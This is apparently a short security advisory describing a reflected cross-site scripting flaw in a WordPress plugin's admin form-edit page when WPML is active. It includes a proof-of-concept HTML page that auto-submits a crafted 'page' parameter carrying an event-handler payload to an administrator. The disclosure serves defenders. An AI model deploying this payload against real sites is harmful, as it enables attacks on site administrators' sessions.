The plugin does not sanitise and escape a parameter before outputting it back in the admin dashboard when the WPML plugin is also active and configured, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Make a logged in admin open a page containing the code below (the WPML, slug: sitepress-multilingual-cms, needs to be active and configured as well. The ID is a translated form ID) <html> <body onload="document.forms[0].submit()"> <form action="https://example.com/wp-admin/admin.php?page=sib_page_form&action=edit&id=1" method="POST"> <input type="hidden" name="page" value='" style=animation-name:rotation onanimationstart=alert(/XSS/)//' /> <input type="submit" value="Submit request" /> </form> </body> </html>
2023-05-15 (about 4 months ago)
2023-05-15 (about 4 months ago)
2023-05-15 (about 4 months ago)